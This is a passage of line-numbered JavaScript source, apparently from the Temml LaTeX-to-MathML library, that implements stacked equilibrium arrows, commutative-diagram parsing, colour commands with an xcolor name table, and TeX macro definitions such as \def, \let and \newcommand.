2944 "\\xrightleftharpoons": ["\\xrightharpoonup", "\\xleftharpoondown"],
2945 "\\yieldsLeftRight": ["\\yields", "\\yieldsLeft"],
2946 // The next three all get the same harpoon glyphs. Only the lengths and paddings differ.
2947 "\\equilibrium": ["\\longrightharpoonup", "\\longleftharpoondown"],
2948 "\\equilibriumRight": ["\\longrightharpoonup", "\\eqleftharpoondown"],
2949 "\\equilibriumLeft": ["\\eqrightharpoonup", "\\longleftharpoondown"]
2950};
2951
2952// Browsers are not good at stretching a glyph that contains a pair of stacked arrows such as ⇄.
2953// So we stack a pair of single arrows.
2954defineFunction({
2955 type: "stackedArrow",
2956 names: [
2957 "\\xtofrom", // expfeil
2958 "\\xleftrightharpoons", // mathtools
2959 "\\xrightleftharpoons", // mathtools
2960 "\\yieldsLeftRight", // mhchem
2961 "\\equilibrium", // mhchem
2962 "\\equilibriumRight",
2963 "\\equilibriumLeft"
2964 ],
2965 props: {
2966 numArgs: 1,
2967 numOptionalArgs: 1
2968 },
2969 handler({ parser, funcName }, args, optArgs) {
2970 const lowerArrowBody = args[0]
2971 ? {
2972 type: "hphantom",
2973 mode: parser.mode,
2974 body: args[0]
2975 }
2976 : null;
2977 const upperArrowBelow = optArgs[0]
2978 ? {
2979 type: "hphantom",
2980 mode: parser.mode,
2981 body: optArgs[0]
2982 }
2983 : null;
2984 return {
2985 type: "stackedArrow",
2986 mode: parser.mode,
2987 name: funcName,
2988 body: args[0],
2989 upperArrowBelow,
2990 lowerArrowBody,
2991 below: optArgs[0]
2992 };
2993 },
2994 mathmlBuilder(group, style) {
2995 const topLabel = arrowComponent[group.name][0];
2996 const botLabel = arrowComponent[group.name][1];
2997 const topArrow = munderoverNode(topLabel, group.body, group.upperArrowBelow, style);
2998 const botArrow = munderoverNode(botLabel, group.lowerArrowBody, group.below, style);
2999 let wrapper;
3000
3001 const raiseNode = new mathMLTree.MathNode("mpadded", [topArrow]);
3002 raiseNode.setAttribute("voffset", "0.3em");
3003 raiseNode.setAttribute("height", "+0.3em");
3004 raiseNode.setAttribute("depth", "-0.3em");
3005 // One of the arrows is given ~zero width. so the other has the same horzontal alignment.
3006 if (group.name === "\\equilibriumLeft") {
3007 const botNode = new mathMLTree.MathNode("mpadded", [botArrow]);
3008 botNode.setAttribute("width", "0.5em");
3009 wrapper = new mathMLTree.MathNode(
3010 "mpadded",
3011 [padding$2(0.2778), botNode, raiseNode, padding$2(0.2778)]
3012 );
3013 } else {
3014 raiseNode.setAttribute("width", (group.name === "\\equilibriumRight" ? "0.5em" : "0"));
3015 wrapper = new mathMLTree.MathNode(
3016 "mpadded",
3017 [padding$2(0.2778), raiseNode, botArrow, padding$2(0.2778)]
3018 );
3019 }
3020
3021 wrapper.setAttribute("voffset", "-0.18em");
3022 wrapper.setAttribute("height", "-0.18em");
3023 wrapper.setAttribute("depth", "+0.18em");
3024 return wrapper
3025 }
3026});
3027
3028/**
3029 * Asserts that the node is of the given type and returns it with stricter
3030 * typing. Throws if the node's type does not match.
3031 */
3032function assertNodeType(node, type) {
3033 if (!node || node.type !== type) {
3034 throw new Error(
3035 `Expected node of type ${type}, but got ` +
3036 (node ? `node of type ${node.type}` : String(node))
3037 );
3038 }
3039 return node;
3040}
3041
3042/**
3043 * Returns the node more strictly typed iff it is of the given type. Otherwise,
3044 * returns null.
3045 */
3046function assertSymbolNodeType(node) {
3047 const typedNode = checkSymbolNodeType(node);
3048 if (!typedNode) {
3049 throw new Error(
3050 `Expected node of symbol group type, but got ` +
3051 (node ? `node of type ${node.type}` : String(node))
3052 );
3053 }
3054 return typedNode;
3055}
3056
3057/**
3058 * Returns the node more strictly typed iff it is of the given type. Otherwise,
3059 * returns null.
3060 */
3061function checkSymbolNodeType(node) {
3062 if (node && (node.type === "atom" ||
3063 Object.prototype.hasOwnProperty.call(NON_ATOMS, node.type))) {
3064 return node;
3065 }
3066 return null;
3067}
3068
3069const cdArrowFunctionName = {
3070 ">": "\\\\cdrightarrow",
3071 "<": "\\\\cdleftarrow",
3072 "=": "\\\\cdlongequal",
3073 A: "\\uparrow",
3074 V: "\\downarrow",
3075 "|": "\\Vert",
3076 ".": "no arrow"
3077};
3078
3079const newCell = () => {
3080 // Create an empty cell, to be filled below with parse nodes.
3081 return { type: "styling", body: [], mode: "math", scriptLevel: "display" };
3082};
3083
3084const isStartOfArrow = (node) => {
3085 return node.type === "textord" && node.text === "@";
3086};
3087
3088const isLabelEnd = (node, endChar) => {
3089 return (node.type === "mathord" || node.type === "atom") && node.text === endChar;
3090};
3091
3092function cdArrow(arrowChar, labels, parser) {
3093 // Return a parse tree of an arrow and its labels.
3094 // This acts in a way similar to a macro expansion.
3095 const funcName = cdArrowFunctionName[arrowChar];
3096 switch (funcName) {
3097 case "\\\\cdrightarrow":
3098 case "\\\\cdleftarrow":
3099 return parser.callFunction(funcName, [labels[0]], [labels[1]]);
3100 case "\\uparrow":
3101 case "\\downarrow": {
3102 const leftLabel = parser.callFunction("\\\\cdleft", [labels[0]], []);
3103 const bareArrow = {
3104 type: "atom",
3105 text: funcName,
3106 mode: "math",
3107 family: "rel"
3108 };
3109 const sizedArrow = parser.callFunction("\\Big", [bareArrow], []);
3110 const rightLabel = parser.callFunction("\\\\cdright", [labels[1]], []);
3111 const arrowGroup = {
3112 type: "ordgroup",
3113 mode: "math",
3114 body: [leftLabel, sizedArrow, rightLabel],
3115 semisimple: true
3116 };
3117 return parser.callFunction("\\\\cdparent", [arrowGroup], []);
3118 }
3119 case "\\\\cdlongequal":
3120 return parser.callFunction("\\\\cdlongequal", [], []);
3121 case "\\Vert": {
3122 const arrow = { type: "textord", text: "\\Vert", mode: "math" };
3123 return parser.callFunction("\\Big", [arrow], []);
3124 }
3125 default:
3126 return { type: "textord", text: " ", mode: "math" };
3127 }
3128}
3129
3130function parseCD(parser) {
3131 // Get the array's parse nodes with \\ temporarily mapped to \cr.
3132 const parsedRows = [];
3133 parser.gullet.beginGroup();
3134 parser.gullet.macros.set("\\cr", "\\\\\\relax");
3135 parser.gullet.beginGroup();
3136 while (true) {
3137 // Get the parse nodes for the next row.
3138 parsedRows.push(parser.parseExpression(false, "\\\\"));
3139 parser.gullet.endGroup();
3140 parser.gullet.beginGroup();
3141 const next = parser.fetch().text;
3142 if (next === "&" || next === "\\\\") {
3143 parser.consume();
3144 } else if (next === "\\end") {
3145 if (parsedRows[parsedRows.length - 1].length === 0) {
3146 parsedRows.pop(); // final row ended in \\
3147 }
3148 break;
3149 } else {
3150 throw new ParseError("Expected \\\\ or \\cr or \\end", parser.nextToken);
3151 }
3152 }
3153
3154 let row = [];
3155 const body = [row];
3156
3157 // Loop thru the parse nodes. Collect them into cells and arrows.
3158 for (let i = 0; i < parsedRows.length; i++) {
3159 // Start a new row.
3160 const rowNodes = parsedRows[i];
3161 // Create the first cell.
3162 let cell = newCell();
3163
3164 for (let j = 0; j < rowNodes.length; j++) {
3165 if (!isStartOfArrow(rowNodes[j])) {
3166 // If a parseNode is not an arrow, it goes into a cell.
3167 cell.body.push(rowNodes[j]);
3168 } else {
3169 // Parse node j is an "@", the start of an arrow.
3170 // Before starting on the arrow, push the cell into `row`.
3171 row.push(cell);
3172
3173 // Now collect parseNodes into an arrow.
3174 // The character after "@" defines the arrow type.
3175 j += 1;
3176 const arrowChar = assertSymbolNodeType(rowNodes[j]).text;
3177
3178 // Create two empty label nodes. We may or may not use them.
3179 const labels = new Array(2);
3180 labels[0] = { type: "ordgroup", mode: "math", body: [] };
3181 labels[1] = { type: "ordgroup", mode: "math", body: [] };
3182
3183 // Process the arrow.
3184 if ("=|.".indexOf(arrowChar) > -1) ; else if ("<>AV".indexOf(arrowChar) > -1) {
3185 // Four arrows, `@>>>`, `@<<<`, `@AAA`, and `@VVV`, each take
3186 // two optional labels. E.g. the right-point arrow syntax is
3187 // really: @>{optional label}>{optional label}>
3188 // Collect parseNodes into labels.
3189 for (let labelNum = 0; labelNum < 2; labelNum++) {
3190 let inLabel = true;
3191 for (let k = j + 1; k < rowNodes.length; k++) {
3192 if (isLabelEnd(rowNodes[k], arrowChar)) {
3193 inLabel = false;
3194 j = k;
3195 break;
3196 }
3197 if (isStartOfArrow(rowNodes[k])) {
3198 throw new ParseError(
3199 "Missing a " + arrowChar + " character to complete a CD arrow.",
3200 rowNodes[k]
3201 );
3202 }
3203
3204 labels[labelNum].body.push(rowNodes[k]);
3205 }
3206 if (inLabel) {
3207 // isLabelEnd never returned a true.
3208 throw new ParseError(
3209 "Missing a " + arrowChar + " character to complete a CD arrow.",
3210 rowNodes[j]
3211 );
3212 }
3213 }
3214 } else {
3215 throw new ParseError(`Expected one of "<>AV=|." after @.`);
3216 }
3217
3218 // Now join the arrow to its labels.
3219 const arrow = cdArrow(arrowChar, labels, parser);
3220
3221 // Wrap the arrow in a styling node
3222 row.push(arrow);
3223 // In CD's syntax, cells are implicit. That is, everything that
3224 // is not an arrow gets collected into a cell. So create an empty
3225 // cell now. It will collect upcoming parseNodes.
3226 cell = newCell();
3227 }
3228 }
3229 if (i % 2 === 0) {
3230 // Even-numbered rows consist of: cell, arrow, cell, arrow, ... cell
3231 // The last cell is not yet pushed into `row`, so:
3232 row.push(cell);
3233 } else {
3234 // Odd-numbered rows consist of: vert arrow, empty cell, ... vert arrow
3235 // Remove the empty cell that was placed at the beginning of `row`.
3236 row.shift();
3237 }
3238 row = [];
3239 body.push(row);
3240 }
3241 body.pop();
3242
3243 // End row group
3244 parser.gullet.endGroup();
3245 // End array group defining \\
3246 parser.gullet.endGroup();
3247
3248 return {
3249 type: "array",
3250 mode: "math",
3251 body,
3252 tags: null,
3253 labels: new Array(body.length + 1).fill(""),
3254 envClasses: ["jot", "cd"],
3255 cols: [],
3256 hLinesBeforeRow: new Array(body.length + 1).fill([])
3257 };
3258}
3259
3260// The functions below are not available for general use.
3261// They are here only for internal use by the {CD} environment in placing labels
3262// next to vertical arrows.
3263
3264// We don't need any such functions for horizontal arrows because we can reuse
3265// the functionality that already exists for extensible arrows.
3266
3267defineFunction({
3268 type: "cdlabel",
3269 names: ["\\\\cdleft", "\\\\cdright"],
3270 props: {
3271 numArgs: 1
3272 },
3273 handler({ parser, funcName }, args) {
3274 return {
3275 type: "cdlabel",
3276 mode: parser.mode,
3277 side: funcName.slice(4),
3278 label: args[0]
3279 };
3280 },
3281 mathmlBuilder(group, style) {
3282 if (group.label.body.length === 0) {
3283 return new mathMLTree.MathNode("mrow", style) // empty label
3284 }
3285 // Abuse an <mtable> to create vertically centered content.
3286 const mtd = new mathMLTree.MathNode("mtd", [buildGroup$1(group.label, style)]);
3287 mtd.style.padding = "0";
3288 const mtr = new mathMLTree.MathNode("mtr", [mtd]);
3289 const mtable = new mathMLTree.MathNode("mtable", [mtr]);
3290 const label = new mathMLTree.MathNode("mpadded", [mtable]);
3291 // Set the label width to zero so that the arrow will be centered under the corner cell.
3292 label.setAttribute("width", "0");
3293 label.setAttribute("displaystyle", "false");
3294 label.setAttribute("scriptlevel", "1");
3295 if (group.side === "left") {
3296 label.style.display = "flex";
3297 label.style.justifyContent = "flex-end";
3298 }
3299 return label;
3300 }
3301});
3302
3303defineFunction({
3304 type: "cdlabelparent",
3305 names: ["\\\\cdparent"],
3306 props: {
3307 numArgs: 1
3308 },
3309 handler({ parser }, args) {
3310 return {
3311 type: "cdlabelparent",
3312 mode: parser.mode,
3313 fragment: args[0]
3314 };
3315 },
3316 mathmlBuilder(group, style) {
3317 return new mathMLTree.MathNode("mrow", [buildGroup$1(group.fragment, style)]);
3318 }
3319});
3320
3321// \@char is an internal function that takes a grouped decimal argument like
3322// {123} and converts into symbol with code 123. It is used by the *macro*
3323// \char defined in macros.js.
3324defineFunction({
3325 type: "textord",
3326 names: ["\\@char"],
3327 props: {
3328 numArgs: 1,
3329 allowedInText: true
3330 },
3331 handler({ parser, token }, args) {
3332 const arg = assertNodeType(args[0], "ordgroup");
3333 const group = arg.body;
3334 let number = "";
3335 for (let i = 0; i < group.length; i++) {
3336 const node = assertNodeType(group[i], "textord");
3337 number += node.text;
3338 }
3339 const code = parseInt(number);
3340 if (isNaN(code)) {
3341 throw new ParseError(`\\@char has non-numeric argument ${number}`, token)
3342 }
3343 return {
3344 type: "textord",
3345 mode: parser.mode,
3346 text: String.fromCodePoint(code)
3347 }
3348 }
3349});
3350
3351// Helpers
3352const htmlRegEx = /^(#[a-f0-9]{3}|#?[a-f0-9]{6})$/i;
3353const htmlOrNameRegEx = /^(#[a-f0-9]{3}|#?[a-f0-9]{6}|[a-z]+)$/i;
3354const RGBregEx = /^ *\d{1,3} *(?:, *\d{1,3} *){2}$/;
3355const rgbRegEx = /^ *[10](?:\.\d*)? *(?:, *[10](?:\.\d*)? *){2}$/;
3356const xcolorHtmlRegEx = /^[a-f0-9]{6}$/i;
3357const toHex = num => {
3358 let str = num.toString(16);
3359 if (str.length === 1) { str = "0" + str; }
3360 return str
3361};
3362
3363// Colors from Tables 4.1 and 4.2 of the xcolor package.
3364// Table 4.1 (lower case) RGB values are taken from chroma and xcolor.dtx.
3365// Table 4.2 (Capitalizzed) values were sampled, because Chroma contains a unreliable
3366// conversion from cmyk to RGB. See https://tex.stackexchange.com/a/537274.
3367const xcolors = JSON.parse(`{
3368 "Apricot": "#ffb484",
3369 "Aquamarine": "#08b4bc",
3370 "Bittersweet": "#c84c14",
3371 "blue": "#0000FF",
3372 "Blue": "#303494",
3373 "BlueGreen": "#08b4bc",
3374 "BlueViolet": "#503c94",
3375 "BrickRed": "#b8341c",
3376 "brown": "#BF8040",
3377 "Brown": "#802404",
3378 "BurntOrange": "#f8941c",
3379 "CadetBlue": "#78749c",
3380 "CarnationPink": "#f884b4",
3381 "Cerulean": "#08a4e4",
3382 "CornflowerBlue": "#40ace4",
3383 "cyan": "#00FFFF",
3384 "Cyan": "#08acec",
3385 "Dandelion": "#ffbc44",
3386 "darkgray": "#404040",
3387 "DarkOrchid": "#a8548c",
3388 "Emerald": "#08ac9c",
3389 "ForestGreen": "#089c54",
3390 "Fuchsia": "#90348c",
3391 "Goldenrod": "#ffdc44",
3392 "gray": "#808080",
3393 "Gray": "#98949c",
3394 "green": "#00FF00",
3395 "Green": "#08a44c",
3396 "GreenYellow": "#e0e474",
3397 "JungleGreen": "#08ac9c",
3398 "Lavender": "#f89cc4",
3399 "lightgray": "#c0c0c0",
3400 "lime": "#BFFF00",
3401 "LimeGreen": "#90c43c",
3402 "magenta": "#FF00FF",
3403 "Magenta": "#f0048c",
3404 "Mahogany": "#b0341c",
3405 "Maroon": "#b03434",
3406 "Melon": "#f89c7c",
3407 "MidnightBlue": "#086494",
3408 "Mulberry": "#b03c94",
3409 "NavyBlue": "#086cbc",
3410 "olive": "#7F7F00",
3411 "OliveGreen": "#407c34",
3412 "orange": "#FF8000",
3413 "Orange": "#f8843c",
3414 "OrangeRed": "#f0145c",
3415 "Orchid": "#b074ac",
3416 "Peach": "#f8945c",
3417 "Periwinkle": "#8074bc",
3418 "PineGreen": "#088c74",
3419 "pink": "#ff7f7f",
3420 "Plum": "#98248c",
3421 "ProcessBlue": "#08b4ec",
3422 "purple": "#BF0040",
3423 "Purple": "#a0449c",
3424 "RawSienna": "#983c04",
3425 "red": "#ff0000",
3426 "Red": "#f01c24",
3427 "RedOrange": "#f86434",
3428 "RedViolet": "#a0246c",
3429 "Rhodamine": "#f0549c",
3430 "Royallue": "#0874bc",
3431 "RoyalPurple": "#683c9c",
3432 "RubineRed": "#f0047c",
3433 "Salmon": "#f8948c",
3434 "SeaGreen": "#30bc9c",
3435 "Sepia": "#701404",
3436 "SkyBlue": "#48c4dc",
3437 "SpringGreen": "#c8dc64",
3438 "Tan": "#e09c74",
3439 "teal": "#007F7F",
3440 "TealBlue": "#08acb4",
3441 "Thistle": "#d884b4",
3442 "Turquoise": "#08b4cc",
3443 "violet": "#800080",
3444 "Violet": "#60449c",
3445 "VioletRed": "#f054a4",
3446 "WildStrawberry": "#f0246c",
3447 "yellow": "#FFFF00",
3448 "Yellow": "#fff404",
3449 "YellowGreen": "#98cc6c",
3450 "YellowOrange": "#ffa41c"
3451}`);
3452
3453const colorFromSpec = (model, spec) => {
3454 let color = "";
3455 if (model === "HTML") {
3456 if (!htmlRegEx.test(spec)) {
3457 throw new ParseError("Invalid HTML input.")
3458 }
3459 color = spec;
3460 } else if (model === "RGB") {
3461 if (!RGBregEx.test(spec)) {
3462 throw new ParseError("Invalid RGB input.")
3463 }
3464 spec.split(",").map(e => { color += toHex(Number(e.trim())); });
3465 } else {
3466 if (!rgbRegEx.test(spec)) {
3467 throw new ParseError("Invalid rbg input.")
3468 }
3469 spec.split(",").map(e => {
3470 const num = Number(e.trim());
3471 if (num > 1) { throw new ParseError("Color rgb input must be < 1.") }
3472 color += toHex(Number((num * 255).toFixed(0)));
3473 });
3474 }
3475 if (color.charAt(0) !== "#") { color = "#" + color; }
3476 return color
3477};
3478
3479const validateColor = (color, macros, token) => {
3480 const macroName = `\\\\color@${color}`; // from \defineColor.
3481 const match = htmlOrNameRegEx.exec(color);
3482 if (!match) { throw new ParseError("Invalid color: '" + color + "'", token) }
3483 // We allow a 6-digit HTML color spec without a leading "#".
3484 // This follows the xcolor package's HTML color model.
3485 // Predefined color names are all missed by this RegEx pattern.
3486 if (xcolorHtmlRegEx.test(color)) {
3487 return "#" + color
3488 } else if (color.charAt(0) === "#") {
3489 return color
3490 } else if (macros.has(macroName)) {
3491 color = macros.get(macroName).tokens[0].text;
3492 } else if (xcolors[color]) {
3493 color = xcolors[color];
3494 }
3495 return color
3496};
3497
3498const mathmlBuilder$9 = (group, style) => {
3499 // In LaTeX, color is not supposed to change the spacing of any node.
3500 // So instead of wrapping the group in an <mstyle>, we apply
3501 // the color individually to each node and return a document fragment.
3502 let expr = buildExpression(group.body, style.withColor(group.color));
3503 expr = expr.map(e => {
3504 e.style.color = group.color;
3505 return e
3506 });
3507 return mathMLTree.newDocumentFragment(expr)
3508};
3509
3510defineFunction({
3511 type: "color",
3512 names: ["\\textcolor"],
3513 props: {
3514 numArgs: 2,
3515 numOptionalArgs: 1,
3516 allowedInText: true,
3517 argTypes: ["raw", "raw", "original"]
3518 },
3519 handler({ parser, token }, args, optArgs) {
3520 const model = optArgs[0] && assertNodeType(optArgs[0], "raw").string;
3521 let color = "";
3522 if (model) {
3523 const spec = assertNodeType(args[0], "raw").string;
3524 color = colorFromSpec(model, spec);
3525 } else {
3526 color = validateColor(assertNodeType(args[0], "raw").string, parser.gullet.macros, token);
3527 }
3528 const body = args[1];
3529 return {
3530 type: "color",
3531 mode: parser.mode,
3532 color,
3533 isTextColor: true,
3534 body: ordargument(body)
3535 }
3536 },
3537 mathmlBuilder: mathmlBuilder$9
3538});
3539
3540defineFunction({
3541 type: "color",
3542 names: ["\\color"],
3543 props: {
3544 numArgs: 1,
3545 numOptionalArgs: 1,
3546 allowedInText: true,
3547 argTypes: ["raw", "raw"]
3548 },
3549 handler({ parser, breakOnTokenText, token }, args, optArgs) {
3550 const model = optArgs[0] && assertNodeType(optArgs[0], "raw").string;
3551 let color = "";
3552 if (model) {
3553 const spec = assertNodeType(args[0], "raw").string;
3554 color = colorFromSpec(model, spec);
3555 } else {
3556 color = validateColor(assertNodeType(args[0], "raw").string, parser.gullet.macros, token);
3557 }
3558
3559 // Parse out the implicit body that should be colored.
3560 const body = parser.parseExpression(true, breakOnTokenText, true);
3561
3562 return {
3563 type: "color",
3564 mode: parser.mode,
3565 color,
3566 isTextColor: false,
3567 body
3568 }
3569 },
3570 mathmlBuilder: mathmlBuilder$9
3571});
3572
3573defineFunction({
3574 type: "color",
3575 names: ["\\definecolor"],
3576 props: {
3577 numArgs: 3,
3578 allowedInText: true,
3579 argTypes: ["raw", "raw", "raw"]
3580 },
3581 handler({ parser, funcName, token }, args) {
3582 const name = assertNodeType(args[0], "raw").string;
3583 if (!/^[A-Za-z]+$/.test(name)) {
3584 throw new ParseError("Color name must be latin letters.", token)
3585 }
3586 const model = assertNodeType(args[1], "raw").string;
3587 if (!["HTML", "RGB", "rgb"].includes(model)) {
3588 throw new ParseError("Color model must be HTML, RGB, or rgb.", token)
3589 }
3590 const spec = assertNodeType(args[2], "raw").string;
3591 const color = colorFromSpec(model, spec);
3592 parser.gullet.macros.set(`\\\\color@${name}`, { tokens: [{ text: color }], numArgs: 0 });
3593 return { type: "internal", mode: parser.mode }
3594 }
3595 // No mathmlBuilder. The point of \definecolor is to set a macro.
3596});
3597
3598// Row breaks within tabular environments, and line breaks at top level
3599
3600
3601// \DeclareRobustCommand\\{...\@xnewline}
3602defineFunction({
3603 type: "cr",
3604 names: ["\\\\"],
3605 props: {
3606 numArgs: 0,
3607 numOptionalArgs: 0,
3608 allowedInText: true
3609 },
3610
3611 handler({ parser }, args, optArgs) {
3612 const size = parser.gullet.future().text === "[" ? parser.parseSizeGroup(true) : null;
3613 const newLine = !parser.settings.displayMode;
3614 return {
3615 type: "cr",
3616 mode: parser.mode,
3617 newLine,
3618 size: size && assertNodeType(size, "size").value
3619 }
3620 },
3621
3622 // The following builder is called only at the top level,
3623 // not within tabular/array environments.
3624
3625 mathmlBuilder(group, style) {
3626 // MathML 3.0 calls for newline to occur in an <mo> or an <mspace>.
3627 // Ref: https://www.w3.org/TR/MathML3/chapter3.html#presm.linebreaking
3628 const node = new mathMLTree.MathNode("mo");
3629 if (group.newLine) {
3630 node.setAttribute("linebreak", "newline");
3631 if (group.size) {
3632 const size = calculateSize(group.size, style);
3633 node.setAttribute("height", size.number + size.unit);
3634 }
3635 }
3636 return node
3637 }
3638});
3639
3640const globalMap = {
3641 "\\global": "\\global",
3642 "\\long": "\\\\globallong",
3643 "\\\\globallong": "\\\\globallong",
3644 "\\def": "\\gdef",
3645 "\\gdef": "\\gdef",
3646 "\\edef": "\\xdef",
3647 "\\xdef": "\\xdef",
3648 "\\let": "\\\\globallet",
3649 "\\futurelet": "\\\\globalfuture"
3650};
3651
3652const checkControlSequence = (tok) => {
3653 const name = tok.text;
3654 if (/^(?:[\\{}$&#^_]|EOF)$/.test(name)) {
3655 throw new ParseError("Expected a control sequence", tok);
3656 }
3657 return name;
3658};
3659
3660const getRHS = (parser) => {
3661 let tok = parser.gullet.popToken();
3662 if (tok.text === "=") {
3663 // consume optional equals
3664 tok = parser.gullet.popToken();
3665 if (tok.text === " ") {
3666 // consume one optional space
3667 tok = parser.gullet.popToken();
3668 }
3669 }
3670 return tok;
3671};
3672
3673const letCommand = (parser, name, tok, global) => {
3674 let macro = parser.gullet.macros.get(tok.text);
3675 if (macro == null) {
3676 // don't expand it later even if a macro with the same name is defined
3677 // e.g., \let\foo=\frac \def\frac{\relax} \frac12
3678 tok.noexpand = true;
3679 macro = {
3680 tokens: [tok],
3681 numArgs: 0,
3682 // reproduce the same behavior in expansion
3683 unexpandable: !parser.gullet.isExpandable(tok.text)
3684 };
3685 }
3686 parser.gullet.macros.set(name, macro, global);
3687};
3688
3689// <assignment> -> <non-macro assignment>|<macro assignment>
3690// <non-macro assignment> -> <simple assignment>|\global<non-macro assignment>
3691// <macro assignment> -> <definition>|<prefix><macro assignment>
3692// <prefix> -> \global|\long|\outer
3693defineFunction({
3694 type: "internal",
3695 names: [
3696 "\\global",
3697 "\\long",
3698 "\\\\globallong" // can’t be entered directly
3699 ],
3700 props: {
3701 numArgs: 0,
3702 allowedInText: true
3703 },
3704 handler({ parser, funcName }) {
3705 parser.consumeSpaces();
3706 const token = parser.fetch();
3707 if (globalMap[token.text]) {
3708 // Temml doesn't have \par, so ignore \long
3709 if (funcName === "\\global" || funcName === "\\\\globallong") {
3710 token.text = globalMap[token.text];
3711 }
3712 return assertNodeType(parser.parseFunction(), "internal");
3713 }
3714 throw new ParseError(`Invalid token after macro prefix`, token);
3715 }
3716});
3717
3718// Basic support for macro definitions: \def, \gdef, \edef, \xdef
3719// <definition> -> <def><control sequence><definition text>
3720// <def> -> \def|\gdef|\edef|\xdef
3721// <definition text> -> <parameter text><left brace><balanced text><right brace>
3722defineFunction({
3723 type: "internal",
3724 names: ["\\def", "\\gdef", "\\edef", "\\xdef"],
3725 props: {
3726 numArgs: 0,
3727 allowedInText: true,
3728 primitive: true
3729 },
3730 handler({ parser, funcName }) {
3731 let tok = parser.gullet.popToken();
3732 const name = tok.text;
3733 if (/^(?:[\\{}$&#^_]|EOF)$/.test(name)) {
3734 throw new ParseError("Expected a control sequence", tok);
3735 }
3736
3737 let numArgs = 0;
3738 let insert;
3739 const delimiters = [[]];
3740 // <parameter text> contains no braces
3741 while (parser.gullet.future().text !== "{") {
3742 tok = parser.gullet.popToken();
3743 if (tok.text === "#") {
3744 // If the very last character of the <parameter text> is #, so that
3745 // this # is immediately followed by {, TeX will behave as if the {
3746 // had been inserted at the right end of both the parameter text
3747 // and the replacement text.
3748 if (parser.gullet.future().text === "{") {
3749 insert = parser.gullet.future();
3750 delimiters[numArgs].push("{");
3751 break;
3752 }
3753
3754 // A parameter, the first appearance of # must be followed by 1,
3755 // the next by 2, and so on; up to nine #’s are allowed
3756 tok = parser.gullet.popToken();
3757 if (!/^[1-9]$/.test(tok.text)) {
3758 throw new ParseError(`Invalid argument number "${tok.text}"`);
3759 }
3760 if (parseInt(tok.text) !== numArgs + 1) {
3761 throw new ParseError(`Argument number "${tok.text}" out of order`);
3762 }
3763 numArgs++;
3764 delimiters.push([]);
3765 } else if (tok.text === "EOF") {
3766 throw new ParseError("Expected a macro definition");
3767 } else {
3768 delimiters[numArgs].push(tok.text);
3769 }
3770 }
3771 // replacement text, enclosed in '{' and '}' and properly nested
3772 let { tokens } = parser.gullet.consumeArg();
3773 if (insert) {
3774 tokens.unshift(insert);
3775 }
3776
3777 if (funcName === "\\edef" || funcName === "\\xdef") {
3778 tokens = parser.gullet.expandTokens(tokens);
3779 if (tokens.length > parser.gullet.settings.maxExpand) {
3780 throw new ParseError("Too many expansions in an " + funcName);
3781 }
3782 tokens.reverse(); // to fit in with stack order
3783 }
3784 // Final arg is the expansion of the macro
3785 parser.gullet.macros.set(
3786 name,
3787 { tokens, numArgs, delimiters },
3788 funcName === globalMap[funcName]
3789 );
3790 return { type: "internal", mode: parser.mode };
3791 }
3792});
3793
3794// <simple assignment> -> <let assignment>
3795// <let assignment> -> \futurelet<control sequence><token><token>
3796// | \let<control sequence><equals><one optional space><token>
3797// <equals> -> <optional spaces>|<optional spaces>=
3798defineFunction({
3799 type: "internal",
3800 names: [
3801 "\\let",
3802 "\\\\globallet" // can’t be entered directly
3803 ],
3804 props: {
3805 numArgs: 0,
3806 allowedInText: true,
3807 primitive: true
3808 },
3809 handler({ parser, funcName }) {
3810 const name = checkControlSequence(parser.gullet.popToken());
3811 parser.gullet.consumeSpaces();
3812 const tok = getRHS(parser);
3813 letCommand(parser, name, tok, funcName === "\\\\globallet");
3814 return { type: "internal", mode: parser.mode };
3815 }
3816});
3817
3818// ref: https://www.tug.org/TUGboat/tb09-3/tb22bechtolsheim.pdf
3819defineFunction({
3820 type: "internal",
3821 names: [
3822 "\\futurelet",
3823 "\\\\globalfuture" // can’t be entered directly
3824 ],
3825 props: {
3826 numArgs: 0,
3827 allowedInText: true,
3828 primitive: true
3829 },
3830 handler({ parser, funcName }) {
3831 const name = checkControlSequence(parser.gullet.popToken());
3832 const middle = parser.gullet.popToken();
3833 const tok = parser.gullet.popToken();
3834 letCommand(parser, name, tok, funcName === "\\\\globalfuture");
3835 parser.gullet.pushToken(tok);
3836 parser.gullet.pushToken(middle);
3837 return { type: "internal", mode: parser.mode };
3838 }
3839});
3840
3841defineFunction({
3842 type: "internal",
3843 names: ["\\newcommand", "\\renewcommand", "\\providecommand"],
3844 props: {
3845 numArgs: 0,
3846 allowedInText: true,
3847 primitive: true
3848 },
3849 handler({ parser, funcName }) {
3850 let name = "";
3851 const tok = parser.gullet.popToken();
3852 if (tok.text === "{") {
3853 name = checkControlSequence(parser.gullet.popToken());
3854 parser.gullet.popToken();
3855 } else {
3856 name = checkControlSequence(tok);
3857 }
3858
3859 const exists = parser.gullet.isDefined(name);
3860 if (exists && funcName === "\\newcommand") {
3861 throw new ParseError(
3862 `\\newcommand{${name}} attempting to redefine ${name}; use \\renewcommand`
3863 );
3864 }
3865 if (!exists && funcName === "\\renewcommand") {
3866 throw new ParseError(
3867 `\\renewcommand{${name}} when command ${name} does not yet exist; use \\newcommand`
3868 );
3869 }
3870
3871 let numArgs = 0;
3872 if (parser.gullet.future().text === "[") {
3873 let tok = parser.gullet.popToken();
3874 tok = parser.gullet.popToken();
3875 if (!/^[0-9]$/.test(tok.text)) {
3876 throw new ParseError(`Invalid number of arguments: "${tok.text}"`);
3877 }
3878 numArgs = parseInt(tok.text);
3879 tok = parser.gullet.popToken();
3880 if (tok.text !== "]") {
3881 throw new ParseError(`Invalid argument "${tok.text}"`);
3882 }
3883 }
3884
3885 // replacement text, enclosed in '{' and '}' and properly nested
3886 const { tokens } = parser.gullet.consumeArg();
3887
3888 if (!(funcName === "\\providecommand" && parser.gullet.macros.has(name))) {
3889 // Ignore \providecommand
3890 parser.gullet.macros.set(
3891 name,
3892 { tokens, numArgs }
3893 );
3894 }
3895
3896 return { type: "internal", mode: parser.mode };
3897
3898 }
3899});
3900
3901// Extra data needed for the delimiter handler down below
3902const delimiterSizes = {
3903 "\\bigl": { mclass: "mopen", size: 1 },
3904 "\\Bigl": { mclass: "mopen", size: 2 },
3905 "\\biggl": { mclass: "mopen", size: 3 },
3906 "\\Biggl": { mclass: "mopen", size: 4 },
3907 "\\bigr": { mclass: "mclose", size: 1 },
3908 "\\Bigr": { mclass: "mclose", size: 2 },
3909 "\\biggr": { mclass: "mclose", size: 3 },
3910 "\\Biggr": { mclass: "mclose", size: 4 },
3911 "\\bigm": { mclass: "mrel", size: 1 },
